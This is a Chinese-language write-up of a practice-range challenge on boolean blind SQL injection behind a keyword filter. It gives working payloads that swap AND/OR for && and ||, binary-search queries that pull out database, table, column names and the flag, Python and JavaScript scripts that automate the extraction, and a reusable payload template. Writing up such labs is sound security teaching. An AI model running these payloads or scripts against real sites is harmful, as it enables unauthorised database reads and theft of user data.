白帽江湖实战靶场SQL注入篇:SQL注入 - 布尔盲注(关键词过滤)
SQL注入:布尔盲注(关键词过滤绕过)靶场通关记录
靶场地址:https://www.baimaojianghu.com/range/13
说明:本文仅记录在该授权靶场中的测试过程,用于学习布尔盲注与关键词过滤绕过的思路。
1. 页面初探
打开靶场,页面标题 "StarMail - 注册检测",功能很直接:
- 输入用户名
- 点击"检测可用性"
- 接口返回该用户名是否已被注册
页面提示了接口地址及已知用户:
API 接口:query.php?username=xxx
系统已有注册用户:admin, zhangsan, lisi, wangwu, test_dev
以及一个安全提示:
⚠️ 安全防护:关键词过滤已启用
这告诉我们该靶场对某些 SQL 关键词做了过滤,需要绕过。
2. 确认接口行为
先访问正常接口:
https://range.baimaojianghu.com/lab/32001/query.php?username=admin
返回:
{"exists":true}
再试一个不存在的用户名:
https://range.baimaojianghu.com/lab/32001/query.php?username=zhangsan123
返回:
{"exists":false}
这就是布尔盲注的回显信道——接口只会告诉你"存在"或"不存在",不会回显数据库内容。
3. 测试关键词过滤
先试一下经典的注入 payload:
?username=admin' AND 1=1 -- -
返回:
{"blocked":true,"msg":"安全警告:检测到危险关键词 [and]"}
拦截了。说明过滤规则确实存在,且 AND 被列入了黑名单。同理测试 OR:
?username=admin' OR 1=1 -- -
同理,测试大小写的过滤是否存在:
?username=admin' AnD 1=1 -- -
返回:
{"blocked":true,"msg":"安全警告:检测到危险关键词 [and]"}
测试:
?username=admin' oR 1=1 -- -
返回:
{"blocked":true,"msg":"安全警告:检测到危险关键词 [or]"}
同样被拦截。那么 UNION、SELECT 等很可能也被过滤了。
4. 绕过关键词过滤
SQL 标准中,AND 可以用 && 替代,OR 可以用 || 替代。这是 MySQL 支持的运算符别名。我们利用这一点绕过过滤。
URL 编码后:
| 原始字符 | URL 编码 |
|---|---|
&& |
%26%26 |
|| |
%7c%7c |
测试 && 绕过 AND:
?username=admin' %26%26 1=1 -- -
返回:
{"exists":true}
再试假条件:
?username=admin' %26%26 1=2 -- -
返回:
{"exists":false}
确认 && 成功绕过了关键词过滤,且布尔盲注条件成立。
测试 || 绕过 OR:
?username=admin' %7c%7c 1=1 -- -
返回:
{"exists":true}
两种运算符别名都可用。
关键认识:过滤规则是在应用层做的字符串匹配,检测的是 HTTP 请求参数中是否包含
and、or等关键字。而&&和||在 SQL 语法层面等价于AND和OR,但在字符串层面不包含过滤关键字,因此可以绕过。
5. 一个隐藏的陷阱:关键词不仅在注入点里
这个靶场有个重要的细节:过滤规则会检查整个输入字符串中是否包含 and 或 or 这些关键字。这意味着不仅你的注入运算符要被绕过,连子查询内部的 SQL 关键字也不能出现 and 和 or。
例如,下面的查询试图获取 users 表的字段数:
select count(*) from information_schema.columns
where table_schema='vuln_db' and table_name='users'
这条 SQL 里的 and 关键字会触发过滤。解决方案同样是——在子查询内部也把 and 替换成 &&:
select count(*) from information_schema.columns
where table_schema='vuln_db' && table_name='users'
这个替换不会改变 SQL 语义,因为 MySQL 中 && 和 AND 是完全等价的逻辑运算符。
6. 布尔盲注实施
确认注入点可用后,进行标准的布尔盲注流程。
6.1 确认数据库名长度
先用二分法判断 database() 的长度:
?username=admin' %26%26 length(database())>5 -- -
# 返回 true,说明长度 > 5
?username=admin' %26%26 length(database())>7 -- -
# 返回 false,说明长度 ≤ 7
?username=admin' %26%26 length(database())=7 -- -
# 返回 true,确认数据库名长度为 7
6.2 逐位提取数据库名
使用 ascii(substr(database(),N,1)) 逐位提取每个字符的 ASCII 码。以第一位为例的二分过程:
?username=admin' %26%26 ascii(substr(database(),1,1))>110 -- -
# true,字符 > 'n'
?username=admin' %26%26 ascii(substr(database(),1,1))>117 -- -
# true,字符 > 'u'
?username=admin' %26%26 ascii(substr(database(),1,1))>118 -- -
# false,字符 ≤ 'v'
?username=admin' %26%26 ascii(substr(database(),1,1))=118 -- -
# true,确认第一位 ASCII 118 = 'v'
6.3 使用自动化脚本批量提取
手动逐位提取很耗时,可以用 Python 脚本自动化:
import requests
url = "https://range.baimaojianghu.com/lab/32001/query.php"
def query(payload):
try:
r = requests.get(url, params={"username": payload}, timeout=10)
data = r.json()
if data.get("blocked"):
return None
return data.get("exists", False)
except:
return None
def extract_string(func_expr, length):
"""逐位提取字符串内容"""
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi + 1) // 2
payload = f"admin' && ascii(substr(({func_expr}),{pos},1))>={mid} -- -"
r = query(payload)
if r is True:
lo = mid
elif r is False:
hi = mid - 1
else:
return None
result += chr(lo)
print(f" [{pos}/{length}] '{chr(lo)}' -> {result}")
return result
# 获取数据库名
db_name = extract_string("database()", 7)
print(f"Database: {db_name}")
也可以直接在浏览器控制台用 JavaScript 快速盲注。核心函数如下:
async function blindExtract(funcExpr, length) {
let result = '';
for (let pos = 1; pos <= length; pos++) {
let lo = 32, hi = 126;
while (lo < hi) {
const mid = Math.floor((lo + hi + 1) / 2);
const payload = "admin' && ascii(substr((" + funcExpr + ")," + pos + ",1))>=" + mid + " -- -";
const r = await fetch('/lab/32001/query.php?username=' + encodeURIComponent(payload))
.then(res => res.json())
.then(d => d.blocked ? null : d.exists);
if (r === true) lo = mid;
else if (r === false) hi = mid - 1;
else return null;
}
result += String.fromCharCode(lo);
}
return result;
}
一个值得注意的问题:二分法使用 > 进行比较时,如果目标值是 n,搜索过程会收敛到 n-1(因为 n > n-1 为真)。所以在二分结束后,最好再用 =n 验证一下,或者在二分条件中用 >= 替代 >。
最终提取到数据库名:
vuln_db
7. 枚举表名
通过 information_schema.tables 查表信息。注意这里也要避免在字符串中出现 and、or 等关键字——不过 information_schema 本身就包含 or(information),需要测试是否会触发过滤。
测试后发现 information_schema 并没有被拦截,说明过滤规则只匹配独立的关键词,而不是子字符串。
查询表数量:
?username=admin' %26%26 (select count(table_name) from information_schema.tables where table_schema='vuln_db')=2 -- -
# true,确认有 2 张表
逐位提取表名,得到:
| 表名 | 说明 |
|---|---|
users |
用户表 |
secret_flags |
存储 flag 的表 |
8. 枚举字段名
使用 information_schema.columns。这里要注意:过滤规则会检查 where table_schema='vuln_db' and table_name='xxx' 中的 and,因此需要在子查询的 WHERE 子句中也用 && 替代 and:
?username=admin' %26%26 (select count(*) from information_schema.columns
where table_schema='vuln_db' %26%26 table_name='secret_flags')=3 -- -
# true,3 个字段
逐位提取字段名:
secret_flags 表:
| 字段名 | 类型推断 |
|---|---|
id |
主键 ID |
flag_name |
标识名称 |
flag_value |
Flag 值 |
users 表:
| 字段名 |
|---|
id |
username |
password |
email |
phone |
role |
status |
9. 提取 flag
直接查询 secret_flags 表中的 flag_value 字段:
?username=admin' %26%26 (select length(flag_value) from secret_flags limit 1)=26 -- -
# true,flag 长度为 26
逐位提取 flag_value:
?username=admin' %26%26 ascii(substr((select flag_value from secret_flags limit 1),1,1))=102 -- -
# true,第 1 位 ASCII 102 = 'f'
?username=admin' %26%26 ascii(substr((select flag_value from secret_flags limit 1),2,1))=108 -- -
# true,第 2 位 ASCII 108 = 'l'
...
最终得到:
flag_value: flag{b00l_0p3r4t0r_byp4ss}
10. 本题完整攻击链
┌──────────────┐
│ 页面分析 │ → 找到 query.php?username= 注入点
├──────────────┤
│ 测试过滤规则 │ → 发现 AND、OR、UNION 被拦截
├──────────────┤
│ 绕过过滤 │ → 用 && 替代 AND,用 || 替代 OR
├──────────────┤
│ 布尔盲注 │ → 通过 exists:true/false 推断数据
├──────────────┤
│ 数据库名 │ → vuln_db
├──────────────┤
│ 表名 │ → secret_flags、users
├──────────────┤
│ 字段名 │ → flag_name、flag_value
├──────────────┤
│ 提取 flag │ → flag{b00l_0p3r4t0r_byp4ss}
└──────────────┘
11. 关键知识点总结
11.1 MySQL 运算符别名
| 原始关键字 | 替代符 | URL 编码 |
|---|---|---|
AND |
&& |
%26%26 |
OR |
|| |
%7c%7c |
= |
LIKE |
— |
SUBSTRING |
SUBSTR / MID |
— |
11.2 过滤绕过的原则
过滤规则通常做的是字符串匹配——检查用户输入中是否包含黑名单中的子串。这就意味着:
- 大小写绕过:
AnD、aNd→ 通常会被统一转大写/小写后被拦截 - 双写绕过:
anandd→ 部分实现不严谨的过滤会被绕过 - 运算符别名绕过:
&&、||→ 最稳,因为完全不含过滤关键字
11.3 本靶场的特殊之处
- 过滤不仅检查注入点的注入运算符,子查询内部的 SQL 关键字也会被检查
- 这意味着
WHERE a='x' AND b='y'中的AND也需要换成&& - 这要求攻击者对整个注入语句的每个部分都要意识到过滤的存在
11.4 二分法盲注的效率比较
以一个长度为 n 的字符串、每个字符可能的取值范围为 m(通常 95 个可打印字符)为例:
| 方法 | 单字符请求数 | 总请求数(n=26) |
|---|---|---|
| 顺序遍历 | O(m) ≈ 95 | ≈ 2470 |
| 二分法 | O(log₂m) ≈ 7 | ≈ 182 |
效率提升了一个数量级。
12. 可复用的测试模板
测试注入与绕过
# 无防护时的基础测试
admin' AND 1=1 -- -
admin' AND 1=2 -- -
# 有过滤时的绕过测试
admin' && 1=1 -- -
admin' && 1=2 -- -
admin' || 1=1 -- -
判断数据库名长度
length(database())=N
判断数据库名字符
ascii(substr(database(),N,1))=M
查询表
# 注意:子查询内部的 and 也要用 && 替代
select count(table_name) from information_schema.tables
where table_schema='vuln_db' && table_name='secret_flags'
查询字段
select count(column_name) from information_schema.columns
where table_schema='vuln_db' && table_name='secret_flags'
读取 flag
select flag_value from secret_flags
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
